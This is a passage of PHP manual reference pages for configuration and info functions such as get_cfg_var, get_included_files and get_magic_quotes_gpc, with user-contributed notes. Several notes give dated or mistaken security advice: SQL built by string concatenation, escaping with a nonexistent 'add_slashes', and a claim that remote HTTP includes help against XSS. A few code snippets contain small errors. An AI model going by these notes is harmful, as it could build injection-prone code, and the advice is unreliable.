}//end dl_local()

?>


Find out whether an extension is loaded

  • « dl
  • gc_collect_cycles »
  • PHP Manual
  • PHP Options/Info Functions
  • Find out whether an extension is loaded

extension_loaded

(PHP 4, PHP 5)

extension_loaded — Find out whether an extension is loaded

Description

bool extension_loaded ( string $name )

Finds out whether the extension is loaded.

Parameters

name

The extension name. This parameter is case-insensitive.

You can see the names of various extensions by using phpinfo() or if you're using the CGI or CLI version of PHP you can use the -m switch to list all available extensions:

$ php -m
[PHP Modules]
xml
tokenizer
standard
sockets
session
posix
pcre
overload
mysql
mbstring
ctype

[Zend Modules]

Return Values

Returns TRUE if the extension identified by name is loaded, FALSE otherwise.

Examples

Example #1 extension_loaded() example

<?php
if (!extension_loaded('gd')) {
    if (!dl('gd.so')) {
        exit;
    }
}
?>

See Also

  • get_loaded_extensions() - Returns an array with the names of all modules compiled and loaded
  • get_extension_funcs() - Returns an array with the names of the functions of a module
  • phpinfo() - Outputs information about PHP's configuration
  • dl() - Loads a PHP extension at runtime
  • function_exists() - Return TRUE if the given function has been defined

User Contributed Notes

There are no user contributed notes for this page.


Forces collection of any existing garbage cycles

  • « extension_loaded
  • gc_disable »
  • PHP Manual
  • PHP Options/Info Functions
  • Forces collection of any existing garbage cycles

gc_collect_cycles

(PHP 5 >= 5.3.0)

gc_collect_cycles — Forces collection of any existing garbage cycles

Description

int gc_collect_cycles ( void )

Forces collection of any existing garbage cycles.

Parameters

This function has no parameters.

Return Values

Returns number of collected cycles.

See Also

  • Garbage Collection

User Contributed Notes

Mason 08-Sep-2011 01:22
(Since this function wasn't documented as of the date I left this note...)

If you came here looking for documentation, allow me to point you instead to a section in the user manual about garbage collection that includes a bit at the end about when you would use this feature and what it will actually do: http://php.net/manual/en/features.gc.collecting-cycles.php

Hope it helps!


Deactivates the circular reference collector

  • « gc_collect_cycles
  • gc_enable »
  • PHP Manual
  • PHP Options/Info Functions
  • Deactivates the circular reference collector

gc_disable

(PHP 5 >= 5.3.0)

gc_disable — Deactivates the circular reference collector

Description

void gc_disable ( void )

Deactivates the circular reference collector, setting zend.enable_gc to 0.

Parameters

This function has no parameters.

Return Values

No value is returned.

See Also

  • Garbage Collection

User Contributed Notes

There are no user contributed notes for this page.


Activates the circular reference collector

  • « gc_disable
  • gc_enabled »
  • PHP Manual
  • PHP Options/Info Functions
  • Activates the circular reference collector

gc_enable

(PHP 5 >= 5.3.0)

gc_enable — Activates the circular reference collector

Description

void gc_enable ( void )

Activates the circular reference collector, setting zend.enable_gc to 1.

Parameters

This function has no parameters.

Return Values

No value is returned.

See Also

  • Garbage Collection

User Contributed Notes

There are no user contributed notes for this page.


Returns status of the circular reference collector

  • « gc_enable
  • get_cfg_var »
  • PHP Manual
  • PHP Options/Info Functions
  • Returns status of the circular reference collector

gc_enabled

(PHP 5 >= 5.3.0)

gc_enabled — Returns status of the circular reference collector

Description

bool gc_enabled ( void )

Returns status of the circular reference collector.

Parameters

This function has no parameters.

Return Values

Returns TRUE if the garbage collector is enabled, FALSE otherwise.

Examples

Example #1 A gc_enabled() example

<?php
if(gc_enabled()) gc_collect_cycles();
?>

See Also

  • Garbage Collection

User Contributed Notes

Anonymous 02-Jul-2009 08:48
If I understand correctly, the php.ini parameter zend.enable_gc (see http://www.php.net/manual/en/info.configuration.php) determines whether garbage collection is enabled:

<?php

var_dump(gc_enabled());
ini_set('zend.enable_gc', 0);
var_dump(gc_enabled());

?>

In PHP 5.3.0 this prints:

bool(true)
bool(false)

Oh, and of course gc_enable() and gc_disable() turn on or off the collection of garbage.


Gets the value of a PHP configuration option

  • « gc_enabled
  • get_current_user »
  • PHP Manual
  • PHP Options/Info Functions
  • Gets the value of a PHP configuration option

get_cfg_var

(PHP 4, PHP 5)

get_cfg_var — Gets the value of a PHP configuration option

Description

string get_cfg_var ( string $option )

Gets the value of a PHP configuration option.

This function will not return configuration information set when the PHP was compiled, or read from an Apache configuration file.

To check whether the system is using a configuration file, try retrieving the value of the cfg_file_path configuration setting. If this is available, a configuration file is being used.

Parameters

option

The configuration option name.

Return Values

Returns the current value of the PHP configuration variable specified by option, or FALSE if an error occurs.

Changelog

Version | Description
5.3.0 | get_cfg_var() was fixed to be able to return "array" ini options.

See Also

  • ini_get() - Gets the value of a configuration option
  • ini_get_all() - Gets all configuration options

User Contributed Notes

tbrix13 at uzitech dot com 27-Jun-2014 05:39
keep in mind get_cfg_var() returns a string(1) '1' for the value: On

<?php
//in php.ini
//A = On

$A1 = get_cfg_var("A") === "On";
$A2 = get_cfg_var("A") === 1;
$A3 = get_cfg_var("A") === "1";

//$A1 is false
//$A2 is false
//$A3 is true
?>
techno dot rahul1988 at gmail dot com 08-May-2014 04:38
The difference between ini_get() and get_cfg_var() is as follows:
@) ini_get(): returns the current value in .htaccess or as defined in PHP_INI_USER or PHP_INI_PERDIR
@) get_cfg_var: returns the values defined in the php.ini
gabriel b 26-Apr-2013 03:22
settings with the value of 'yes' will be returned as '1'.

<?php
//#my ini file
//A = 1
//B = any-thing
//C = yes
//D = /some/path/file

get_cfg_var('A') // returns '1'
get_cfg_var('B') // returns 'any-thing'
get_cfg_var('C') // returns '1', wait, why?
get_cfg_var('D') // returns '/some/path/file'
?>

I had my setting = yes and then checked it as ==="yes" for epic fail.
Stephen 10-Jan-2007 08:21
Regarding the statement by the earlier poster that:

"Unfortunately, you almost never want to know the original value in the config file. Instead, you want to know the value currently in effect."

I have found this useful for changing the error reporting levels for a few specific pages while testing. I turn on all error_reporting while testing, but for a few pages I want to turn off notices. So, I put this at the top of the page:

<?php
error_reporting(8183);
?>

and this at the bottom:

<?php
error_reporting(get_cfg_var('error_reporting'));
?>

to put it back to whatever default I had at the time.
surfchen at gmail dot com 04-Sep-2006 04:00
get_cfg_var returns the value from php.ini directly,while the ini_get returns   the runtime config value. I have tried it on PHP 5.1.6

[EDIT by danbrown AT php DOT net: The author of this note means that ini_get() will return values set by ini_set(), .htaccess, a local php.ini file, and other functions at runtime.  Conversely, get_cfg_var() will return strictly the server php.ini.]


Gets the name of the owner of the current PHP script

  • « get_cfg_var
  • get_defined_constants »
  • PHP Manual
  • PHP Options/Info Functions
  • Gets the name of the owner of the current PHP script

get_current_user

(PHP 4, PHP 5)

get_current_user — Gets the name of the owner of the current PHP script

Description

string get_current_user ( void )

Returns the name of the owner of the current PHP script.

Return Values

Returns the username as a string.

Examples

Example #1 get_current_user() example

<?php
echo 'Current script owner: ' . get_current_user();
?>

The above example will output something similar to:

Current script owner: SYSTEM

See Also

  • getmyuid() - Gets PHP script owner's UID
  • getmygid() - Get PHP script owner's GID
  • getmypid() - Gets PHP's process ID
  • getmyinode() - Gets the inode of the current script
  • getlastmod() - Gets time of last page modification

User Contributed Notes

nick at little-apps dot org 21-Aug-2013 02:06
Since this only returns the file owner and not the actual user running the script, an alternative in Linux is:

<?php
$current_user = trim(shell_exec('whoami'));
?>
south dot bucks at gmail dot com 29-Aug-2012 11:01
On Centos, the Red Hat linux clone, this instruction gives the file's OWNER (the first parameter in instruction 'chown').  It does not reveal the file's GROUP.

get_current_user()  does NOT reveal the current process' user's identity.

See:  posix_getuid() - Return the real user ID of the current process
s dot bond1 at lse dot ac dot uk 10-May-2007 02:17
The information returned by get_current_user() seems to depend on the platform.

Using PHP 5.1.1 running as CGI with IIS 5.0 on Windows NT, get_current_user() returns the owner of the process running the script, *not* the owner of the script itself.

It's easy to test - create a file containing:

<?php
    echo get_current_user();
?>

Then access it through the browser. I get: IUSR_MACHINE, the Internet Guest Account on Windows, which is certainly not the owner of the script.
justin samuel 09-Oct-2005 08:45
to get the username of the process owner (rather than the file owner), you can use:

<?php
$processUser = posix_getpwuid(posix_geteuid());
print $processUser['name'];
?>


Returns an associative array with the names of all the constants and their values

  • « get_current_user
  • get_extension_funcs »
  • PHP Manual
  • PHP Options/Info Functions
  • Returns an associative array with the names of all the constants and their values

get_defined_constants

(PHP 4 >= 4.1.0, PHP 5)

get_defined_constants — Returns an associative array with the names of all the constants and their values

Description

array get_defined_constants ([ bool $categorize = false ] )

Returns the names and values of all the constants currently defined. This includes those created by extensions as well as those created with the define() function.

Parameters

categorize

Causing this function to return a multi-dimensional array with categories in the keys of the first dimension and constants and their values in the second dimension.

<?php
define("MY_CONSTANT", 1);
print_r(get_defined_constants(true));
?>

The above example will output something similar to:

Array
(
    [Core] => Array
        (
            [E_ERROR] => 1
            [E_WARNING] => 2
            [E_PARSE] => 4
            [E_NOTICE] => 8
            [E_CORE_ERROR] => 16
            [E_CORE_WARNING] => 32
            [E_COMPILE_ERROR] => 64
            [E_COMPILE_WARNING] => 128
            [E_USER_ERROR] => 256
            [E_USER_WARNING] => 512
            [E_USER_NOTICE] => 1024
            [E_ALL] => 2047
            [TRUE] => 1
        )

    [pcre] => Array
        (
            [PREG_PATTERN_ORDER] => 1
            [PREG_SET_ORDER] => 2
            [PREG_OFFSET_CAPTURE] => 256
            [PREG_SPLIT_NO_EMPTY] => 1
            [PREG_SPLIT_DELIM_CAPTURE] => 2
            [PREG_SPLIT_OFFSET_CAPTURE] => 4
            [PREG_GREP_INVERT] => 1
        )

    [user] => Array
        (
            [MY_CONSTANT] => 1
        )

)

Return Values

Returns an array of constant name => constant value array, optionally groupped by extension name registering the constant.

Changelog

Version | Description
5.3.1 | Windows only: Core constants are categorized under Core, previously mhash.
5.3.0 | Core constants are categorized under Core, previously internal. On Windows, the Core Constants are categorized under mhash.
5.2.11 | The categorize parameter now operates appropriately. Previously, the categorize parameter was interpreted as !is_null($categorize), making any value other than NULL force the constants to be categorized.

Examples

Example #1 get_defined_constants() Example

<?php
print_r(get_defined_constants());
?>

The above example will output something similar to:

Array
(
    [E_ERROR] => 1
    [E_WARNING] => 2
    [E_PARSE] => 4
    [E_NOTICE] => 8
    [E_CORE_ERROR] => 16
    [E_CORE_WARNING] => 32
    [E_COMPILE_ERROR] => 64
    [E_COMPILE_WARNING] => 128
    [E_USER_ERROR] => 256
    [E_USER_WARNING] => 512
    [E_USER_NOTICE] => 1024
    [E_ALL] => 2047
    [TRUE] => 1
)

See Also

  • defined() - Checks whether a given named constant exists
  • get_loaded_extensions() - Returns an array with the names of all modules compiled and loaded
  • get_defined_functions() - Returns an array of all defined functions
  • get_defined_vars() - Returns an array of all defined variables

User Contributed Notes

bimal at sanjaal dot com 28-Feb-2013 06:10
Though the syntax editors mark the following as error, it executes successfully under PHP, as you desire.

<?php
$user_defined_constants=get_defined_constants(true)['user'];
print_r($user_defined_constants);
?>

No errors/warnings seen.
Only the special thing here is, you are passing true to the function, and extracting the result's 'user' index directly.
Bob 08-Aug-2008 06:50
Add this method to your class definition if you want an array of class constants (get_defined_constants doesn't work with class constants as Peter P said above):

<?php
public function get_class_constants()
{
    $reflect = new ReflectionClass(get_class($this));
    return $reflect->getConstants());
}
?>

You could also override stdObject with it so that all your classes  have this method
05-Jan-2006 08:29
If you want to filter through and return only the prefix for your constants (i.e. you have constants with a naming scheme), then you can use this quick little function. It comes in handy for debugging.

<?php
function returnConstants ($prefix) {
    foreach (get_defined_constants() as $key=>$value)
        if (substr($key,0,strlen($prefix))==$prefix)  $dump[$key] = $value;
    if(empty($dump)) { return "Error: No Constants found with prefix '".$prefix."'"; }
    else { return $dump; }
}
?>

Example:

<?php
define("SITENAME_OPTION_ONE",true);
define("SITENAME_OPTION_TWO",false);
define("SITENAME_URL","foo");

print_r(returnConstants("SITENAME_OPTION"));
?>

Will return:

Array
(
    [SITENAME_OPTIONONE] => 1
    [SITENAME_OPTIONTWO] =>
)
me at gogogadgetscott dot info 18-Jun-2005 08:14
<?php
/**
 * Convert constant value into string name.
 *
 * @param  mixed  Constant value.
 * @return string Constant name.
 * @access public
 */
function sch_get_consant($value)
{
    $constants = get_defined_constants();
    $name = array_search($value, $constants, TRUE);
    return $name;
}
?>


Returns an array with the names of the functions of a module

  • « get_defined_constants
  • get_include_path »
  • PHP Manual
  • PHP Options/Info Functions
  • Returns an array with the names of the functions of a module

get_extension_funcs

(PHP 4, PHP 5)

get_extension_funcs — Returns an array with the names of the functions of a module

Description

array get_extension_funcs ( string $module_name )

This function returns the names of all the functions defined in the module indicated by module_name.

Parameters

module_name

The module name.

Note:

This parameter must be in lowercase.

Return Values

Returns an array with all the functions, or FALSE if module_name is not a valid extension.

Examples

Example #1 Prints the XML functions

<?php
print_r(get_extension_funcs("xml"));
?>

The above example will output something similar to:

Array
(
    [0] => xml_parser_create
    [1] => xml_parser_create_ns
    [2] => xml_set_object
    [3] => xml_set_element_handler
    [4] => xml_set_character_data_handler
    [5] => xml_set_processing_instruction_handler
    [6] => xml_set_default_handler
    [7] => xml_set_unparsed_entity_decl_handler
    [8] => xml_set_notation_decl_handler
    [9] => xml_set_external_entity_ref_handler
    [10] => xml_set_start_namespace_decl_handler
    [11] => xml_set_end_namespace_decl_handler
    [12] => xml_parse
    [13] => xml_parse_into_struct
    [14] => xml_get_error_code
    [15] => xml_error_string
    [16] => xml_get_current_line_number
    [17] => xml_get_current_column_number
    [18] => xml_get_current_byte_index
    [19] => xml_parser_free
    [20] => xml_parser_set_option
    [21] => xml_parser_get_option
    [22] => utf8_encode
    [23] => utf8_decode
)

See Also

  • get_loaded_extensions() - Returns an array with the names of all modules compiled and loaded
  • ReflectionExtension::getFunctions() - Gets extension functions

User Contributed Notes

JM 05-Jun-2006 04:40
FALSE is returned if there are no functions in that extension.  For example, <?php get_extension_funcs("xmlreader"); ?> returns FALSE because that extension defines the XMLReader class but not functions.


Gets the current include_path configuration option

  • « get_extension_funcs
  • get_included_files »
  • PHP Manual
  • PHP Options/Info Functions
  • Gets the current include_path configuration option

get_include_path

(PHP 4 >= 4.3.0, PHP 5)

get_include_path — Gets the current include_path configuration option

Description

string get_include_path ( void )

Gets the current include_path configuration option value.

Return Values

Returns the path, as a string.

Examples

Example #1 get_include_path() example

<?php
// Works as of PHP 4.3.0
echo get_include_path();

// Works in all PHP versions
echo ini_get('include_path');
?>

See Also

  • ini_get() - Gets the value of a configuration option
  • restore_include_path() - Restores the value of the include_path configuration option
  • set_include_path() - Sets the include_path configuration option
  • include - include

User Contributed Notes

gtisza at gmail dot com 07-Feb-2013 01:27
If you are trying to find a file on your include path, there is a better way: http://php.net/manual/en/function.stream-resolve-include-path.php


Returns an array with the names of included or required files

  • « get_include_path
  • get_loaded_extensions »
  • PHP Manual
  • PHP Options/Info Functions
  • Returns an array with the names of included or required files

get_included_files

(PHP 4, PHP 5)

get_included_files — Returns an array with the names of included or required files

Description

array get_included_files ( void )

Gets the names of all files that have been included using include, include_once, require or require_once.

Return Values

Returns an array of the names of all files.

The script originally called is considered an "included file," so it will be listed together with the files referenced by include and family.

Files that are included or required multiple times only show up once in the returned array.

Examples

Example #1 get_included_files() example

<?php
// This file is abc.php

include 'test1.php';
include_once 'test2.php';
require 'test3.php';
require_once 'test4.php';

$included_files = get_included_files();

foreach ($included_files as $filename) {
    echo "$filename\n";
}

?>

The above example will output:

abc.php
test1.php
test2.php
test3.php
test4.php

Notes

Note:

Files included using the auto_prepend_file configuration directive are not included in the returned array.

See Also

  • include - include
  • include_once - include_once
  • require - require
  • require_once - require_once
  • get_required_files() - Alias of get_included_files

User Contributed Notes

donikuntoro at integraasp dot com 29-Aug-2011 12:32
This function aims to perform filtering of files that have been included :

<?php
function setIncludeFiles($arrayInc = array()){
    $incFiles = get_included_files();
    if((count($arrayInc)>0)&&(count($incFiles)>0)){
        $aInt = array_intersect($arrayInc,$incFiles);
        if(count($aInt)>0){
            return false;
       }elseif(count($aInt)<1) {
        foreach($arrayInc as $inc){
            if(is_file($inc))
                include($inc);
            else{
                return false;
            }
        }
       }
    }else{
        return false;
    }
}
?>

Usage :

<?php
$toBeInclude = array('/data/your_include_files_1.php',
'/data/your_include_files_2.php',
'/data/your_include_files_3.php',
);
setIncludeFiles($toBeInclude);
?>

Return false if something goes wrong.
yarco dot w at gmail dot com 04-Jul-2007 05:27
If you have a MAIN php script which you don't want to be included by other scripts, you could use this function. For example:

main.php:
<?php
function blockit()
{
  $buf = get_included_files();
  return $buf[0] != __FILE__;
}

blockit() and exit("You can not include a MAIN file as a part of your script.");

print "OK";
?>

So other script couldn't include main.php to modify its internal global vars.
indigohaze at gmail dot com 28-Aug-2006 07:30
Something that's not noted in the docs, if a file is included remotely and you do a get_included_files() in the include itself it will *not* return the document that included it.

ie:
test2.php (server 192.168.1.14):
<?php

include("http://192.168.1.11/test/test3.php");

?>

test3.php (server 192.168.1.11):

<?php

$files = get_included_files();

print_r($files);
?>

returns:

Array ( [0] => /var/www/localhost/htdocs/test/test3.php )

Which means you can use get_included_files() to help intercept and prevent XSS-style attacks against your code.
RPaseur at NationalPres dot org 08-Mar-2006 05:04
As is often the case, YMMV.  I tried the __FILE__ and SCRIPT_FILENAME comparison and found this:

SCRIPT_FILENAME: /var/www/cgi-bin/php441
__FILE__: /raid/home/natpresch/natpresch/RAY_included.php

As an alternative:

count(get_included_files());

Gives one when the script is standalone and always more than one when the script is included.
keystorm :at: gmail dotcom 07-Sep-2004 11:08
As of PHP5, this function seems to return an array with the first index being the script all subsequent scripts are included to.
If index.php includes b.php and c.php and calls get_included_files(), the returned array looks as follows:

index.php
a.php
b.php

while in PHP<5 the array would be:

a.php
b.php

If you want to know which is the script that is including current script you can use $_SERVER['SCRIPT_FILENAME'] or any other similar server global.

If you also want to ensure current script is being included and not run independently you should evaluate following expression:

__FILE__ != $_SERVER['SCRIPT_FILENAME']

If this expression returns TRUE, current script is being included or required.


Returns an array with the names of all modules compiled and loaded

  • « get_included_files
  • get_magic_quotes_gpc »
  • PHP Manual
  • PHP Options/Info Functions
  • Returns an array with the names of all modules compiled and loaded

get_loaded_extensions

(PHP 4, PHP 5)

get_loaded_extensions — Returns an array with the names of all modules compiled and loaded

Description

array get_loaded_extensions ([ bool $zend_extensions = false ] )

This function returns the names of all the modules compiled and loaded in the PHP interpreter.

Parameters

zend_extensions

Only return Zend extensions, if not then regular extensions, like mysqli are listed. Defaults to FALSE (return regular extensions).

Return Values

Returns an indexed array of all the modules names.

Changelog

Version | Description
5.2.4 | The optional zend_extensions parameter was added

Examples

Example #1 get_loaded_extensions() Example

<?php
print_r(get_loaded_extensions());
?>

The above example will output something similar to:

Array
(
   [0] => xml
   [1] => wddx
   [2] => standard
   [3] => session
   [4] => posix
   [5] => pgsql
   [6] => pcre
   [7] => gd
   [8] => ftp
   [9] => db
   [10] => calendar
   [11] => bcmath
)

See Also

  • get_extension_funcs() - Returns an array with the names of the functions of a module
  • extension_loaded() - Find out whether an extension is loaded
  • dl() - Loads a PHP extension at runtime
  • phpinfo() - Outputs information about PHP's configuration

User Contributed Notes

todesw1nd at hotmail dot com 24-Mar-2012 09:18
if you want to sort the extensions from a to z the easiest way is to use natcasesort.


Gets the current configuration setting of magic_quotes_gpc

  • « get_loaded_extensions
  • get_magic_quotes_runtime »
  • PHP Manual
  • PHP Options/Info Functions
  • Gets the current configuration setting of magic_quotes_gpc

get_magic_quotes_gpc

(PHP 4, PHP 5)

get_magic_quotes_gpc — Gets the current configuration setting of magic_quotes_gpc

Description

bool get_magic_quotes_gpc ( void )

Returns the current configuration setting of magic_quotes_gpc

Keep in mind that attempting to set magic_quotes_gpc at runtime will not work.

For more information about magic_quotes, see this security section.

Return Values

Returns 0 if magic_quotes_gpc is off, 1 otherwise. Or always returns FALSE as of PHP 5.4.0.

Changelog

Version | Description
5.4.0 | Always returns FALSE because the magic quotes feature was removed from PHP.

Examples

Example #1 get_magic_quotes_gpc() example

<?php
// If magic quotes are enabled
echo $_POST['lastname'];             // O\'reilly
echo addslashes($_POST['lastname']); // O\\\'reilly

// Usage across all PHP versions
if (get_magic_quotes_gpc()) {
    $lastname = stripslashes($_POST['lastname']);
}
else {
    $lastname = $_POST['lastname'];
}

// If using MySQL
$lastname = mysql_real_escape_string($lastname);

echo $lastname; // O\'reilly
$sql = "INSERT INTO lastnames (lastname) VALUES ('$lastname')";
?>

Notes

Note:

If the directive magic_quotes_sybase is ON it will completely override magic_quotes_gpc. So even when get_magic_quotes_gpc() returns TRUE neither double quotes, backslashes or NUL's will be escaped. Only single quotes will be escaped. In this case they'll look like: ''

See Also

  • addslashes() - Quote string with slashes
  • stripslashes() - Un-quotes a quoted string
  • get_magic_quotes_runtime() - Gets the current active configuration setting of magic_quotes_runtime
  • ini_get() - Gets the value of a configuration option

User Contributed Notes

rogier at dsone 29-Aug-2012 07:12
Regarding the three main strip methods as found below (two using foreach, 1 using the json method), I've done a little benchmarking using 'true' profiling (using a registered tickhandler where declare(ticks=1)).
I wondered whether or not json would not be terribly slow.
I won't discuss the profiler, but will suffice with the following statement, followed by the used code to benchmark:

The json method was by FAR the quickest (contrary to what I'd thought), so if you need a speedy process, use that!

<?php
declare(ticks=1);
function g()
{
    return array(
        'a'=>'i\\\\\\'m',
        array('a1' => 'x', 'b1' => 'x'),
        array( 'a2' => array('a3' => '\\\\\\'x', 'b3' => 'random' )
        )
    );
}

function strip_json($d)
{
    $rs = json_decode(stripslashes(json_encode($d, JSON_HEX_APOS)), true);
    return $rs;
}

function strip_deep1($d)
{
    foreach ($d as $k=>$v)
    {
        if (is_array($v)) { $d[$k] = strip_deep1($v); }
        else { $d[$k] = stripslashes($v); }
    }
    return $d;
}

function strip_deep2(&$d)
{
    $d = is_array($d) ? array_map('strip_deep2', $d) : stripslashes($d);
    return $d;
}

// now profile it
require_once './TickProfiler.php';
$N = 1000;
$d = g();
TickProfiler::Register();
for ($i = 0; $i < $N; $i++){ strip_json($d); }
for ($i = 0; $i < $N; $i++){ strip_deep1($d); }
for ($i = 0; $i < $N; $i++){ strip_deep2($d); }
TickProfiler::Unregister();
TickProfiler::Display();

?>

My output (PHP 5.3.1, win32):
    [TickProfiler::tick] => Array
        (
            [time] => 0.76188707351685
            [calls] => 46001
        )

    [TickProfiler::Register] => Array
        (
            [time] => 3.0994415283203E-5
            [calls] => 1
        )

    [strip_json] => Array
        (
            [time] => 0.025638580322266
            [calls] => 1000
        )

    [strip_deep1] => Array
        (
            [time] => 0.40303444862366
            [calls] => 36000
        )

    [strip_deep2] => Array
        (
            [time] => 0.14928555488586
            [calls] => 9000
        )

)

As can be seen above, using json speeds output by at least a factor of 5 (nearly 6).
Just wanted to share this :D

Do note the strip_json function has two LOC instead of a plain return statement, otherwise it wouldn't get picked up by the tickprofiler (it would return from the code immediately, never reaching the profiler)!

Usage of the return statement in strip_deep2 is not needed, as the argument is passed by reference.
A new test showed that the time penalty for this is about 0.09 seconds.

This actually means that the factor between strip_deep2 vs strip_json is only about 2.
Still, strip_json would be about twice as fast as strip_deep2
hetored at gmail dot com 07-May-2010 11:17
Here's what I came up with to remove magic quotes from request data.

Replaces two single-quotes with one if magic_quotes_sybase are on, otherwise it just strips slashes.

Note that the `foreach` style makes this work only with PHP 5 and above.

<?php

// Strip magic quotes from request data.
if (function_exists('get_magic_quotes_gpc') && get_magic_quotes_gpc()) {
    // Create lamba style unescaping function (for portability)
    $quotes_sybase = strtolower(ini_get('magic_quotes_sybase'));
    $unescape_function = (empty($quotes_sybase) || $quotes_sybase === 'off') ? 'stripslashes($value)' : 'str_replace("\'\'","\'",$value)';
    $stripslashes_deep = create_function('&$value, $fn', '
        if (is_string($value)) {
            $value = ' . $unescape_function . ';
        } else if (is_array($value)) {
            foreach ($value as &$v) $fn($v, $fn);
        }
    ');

    // Unescape data
    $stripslashes_deep($_POST, $stripslashes_deep);
    $stripslashes_deep($_GET, $stripslashes_deep);
    $stripslashes_deep($_COOKIE, $stripslashes_deep);
    $stripslashes_deep($_REQUEST, $stripslashes_deep);
}

?>
Alix Axel 16-Jan-2010 09:20
For those of you who need a portable magic quotes antidote here is a solution that fixes both keys and values in multi-dimensional arrays:

<?php

if (get_magic_quotes_gpc() === 1)
{
    $_GET = json_decode(stripslashes(json_encode($_GET, JSON_HEX_APOS)), true);
    $_POST = json_decode(stripslashes(json_encode($_POST, JSON_HEX_APOS)), true);
    $_COOKIE = json_decode(stripslashes(json_encode($_COOKIE, JSON_HEX_APOS)), true);
    $_REQUEST = json_decode(stripslashes(json_encode($_REQUEST, JSON_HEX_APOS)), true);
}

?>

Look mum, no recursion! :P Enjoy!
louis at greynoise dot co dot uk 30-May-2008 05:34
<?php
function stripper($stringvar){
    if (1 == get_magic_quotes_gpc()){
        $stringvar = stripslashes($stringvar);
    }
    return $stringvar;
}
?>

Usage:

<?php
$Body = stripper($rs->fields('Body'));
echo($Body);
?>

This checks if get_magic_quotes_gpc() is on and strips a string variable for output if its on. Useful if the dev server and live server are set up different.
heiko dot richler at informatik dot fh-nuernberg dot de 15-Apr-2008 09:02
@ dot dot dot dot dot alexander at gmail dot com

I suggest replacing foreach by "stripslashes_deep":

Example #2 Using stripslashes() on an array on
<http://www.php.net/manual/en/function.stripslashes.php>:

<?php
function stripslashes_deep($value)
{
    $value = is_array($value) ?
                array_map('stripslashes_deep', $value) :
                stripslashes($value);

    return $value;
}
?>

This gives:

<?php
if((function_exists("get_magic_quotes_gpc") && get_magic_quotes_gpc())    || (ini_get('magic_quotes_sybase') && (strtolower(ini_get('magic_quotes_sybase'))!="off")) ){
    stripslashes_deep($_GET);
    stripslashes_deep($_POST);
    stripslashes_deep($_COOKIE);
}
?>
dot dot dot dot dot alexander at gmail dot com 09-Mar-2008 04:06
Just a little correction:
( Because of the ini_get function that may return a string value of "off" that evaluates to TRUE )
<?php
        if(
            (  function_exists("get_magic_quotes_gpc") && get_magic_quotes_gpc()  )
             || (  ini_get('magic_quotes_sybase') && ( strtolower(ini_get('magic_quotes_sybase')) != "off" )  )
           ){
            foreach($_GET as $k => $v) $_GET[$k] = stripslashes($v);
            foreach($_POST as $k => $v) $_POST[$k] = stripslashes($v);
            foreach($_COOKIE as $k => $v) $_COOKIE[$k] = stripslashes($v);
        }
?>
slonmron_no_spam_please_ at yahoo dot com 06-Dec-2006 03:32
Re: php at kaiundina dot de (03-Feb-2005 02:18)

1. magic_quotes_gpc=on/off and magic_quotes_sybase=on/off

I made test and your function worked right.
These were the <input ... /> names I used:
name="a"
name="b.b b\b"
name="c[c.1]"
name="c[c 2]"
name="c[c\3]"
name="c.c c[c.' 4]"
name="c ' c[c&quot;4]"
name="d&quot;[d&quot;1]"

(I used &quot; because I don't know other way to put " into the name)

and the user-input value:
a ' " \ \' \" \\ a

2. > 17) The chars '.', ' ' are always replaced by '_' when used in keys.

This is true only for the top-level keys, such as "b.b b\b", "c.c c" and "c ' c" above. The second-level key "[c.' 4]" was not changed to [c_'_4] but was escaped acording to how magic_quites_XXX are set.

Tested on PHP 4.4.0.

These magic_quotes are really black magic :(

It'll be good to make test against $_SESSION, but I can't do it today.
venimus at gmail dot com 11-Jul-2006 03:14
When you work with forms and databases you should use this concept:

1.When inserting the user input in DB escape $_POST/$_GET with add_slashes() or similar (to match the speciffic database escape rules)

$query='INSERT INTO users SET fullname="'.add_slashes($_POST['fullname']).'"';
insert_into_db($query);

2.When reading a previously submitted input from DB use html_special_chars to display an escaped result!

read_db_row('SELECT fullname FROM users');
echo '<input type="text" name="fullname" value="'.html_special_chars($db_row['fullname']).'" />

this way you safely store and work with the original(unescaped) data.
php at kaiundina dot de 03-Feb-2005 01:18
Escaping of key-strings in GPC-arrays behave different to the escaping of their values.

First I expected that keys in submitted gpc-arrays are never escaped.
Anyway. After I saw escaped keys, I assumed they're escaped according to the settings of magic quotes.
... it's even worse...

It took me over 2 days of testing to figure out the exact behavior and creating two functions (one for each php-version) that strips slashes reliably from any array submitted to a script. Hope this saves someones time and nerves.

The following is true for $_GET- and $_POST-arrays. I hope other arrays affected by magic quotes behave equally.
I did not test the behavior for cases where magic_quotes_sybase is set.

== legend for possible case combinations ==
Px = php version we're using
    P4 = php 4.3.9
    P5 = php 5.0.2

MQ = MagicQuotes GPC
    +MQ = magic quotes enabled
    -MQ = magic quotes disabled

TL = TopLevel key
    +TL = key is on top level (i.e. $_GET['myKey'])
    -TL = key is nested within another array (i.e. $_GET['myList']['myKey'])

AK = ArrayKey
    +AK = the value of the key is another array (i.e. is_array($_GET['myKey']) == true)
    -AK = the value is a normal string (i.e. is_string($_GET['myKey']) == true)

== legend for possible results ==
KE = KeyEscaping
    +KE = control chars are prefixed with a backslash
    -KE = key is returned as submitted and needn't to be stripped

VE = ValueEscaping (doesn't apply for array as value)
    +VE = control chars are prefixed with a backslash
    -VE = value is returned as submitted and needn't to be stripped

== here we go - the following rules apply ==
 1) P4 +MQ +AK +TL --> -KE
 2) P4 +MQ +AK -TL --> +KE
 3) P4 +MQ -AK +TL --> -KE +VE
 4) P4 +MQ -AK -TL --> +KE +VE
 5) P4 -MQ +AK +TL --> -KE
 6) P4 -MQ +AK -TL --> -KE
 7) P4 -MQ -AK +TL --> -KE -VE
 8) P4 -MQ -AK -TL --> -KE -VE
 9) P5 +MQ +AK +TL --> -KE
10) P5 +MQ +AK -TL --> +KE
11) P5 +MQ -AK +TL --> +KE +VE
12) P5 +MQ -AK -TL --> +KE +VE
13) P5 -MQ +AK +TL --> -KE
14) P5 -MQ +AK -TL --> -KE
15) P5 -MQ -AK +TL --> +KE -VE
16) P5 -MQ -AK -TL --> +KE -VE
17) The chars '.', ' ' are always replaced by '_' when used in keys.

Example (rule 15):
When running under php 5.0.2 having magic quotes disabled, gpc-keys on top level containing strings are escaped while their associated values are not.

== The following function will strip GPC-arrays for php 4.3.9 ==

<?php
function transcribe($aList, $aIsTopLevel = true) {
    $gpcList = array();
    $isMagic = get_magic_quotes_gpc();

    foreach ($aList as $key => $value) {
        $decodedKey = ($isMagic && !$aIsTopLevel)?stripslashes($key):$key;
        if (is_array($value)) {
            $decodedValue = transcribe($value, false);
        } else {
            $decodedValue = ($isMagic)?stripslashes($value):$value;
        }
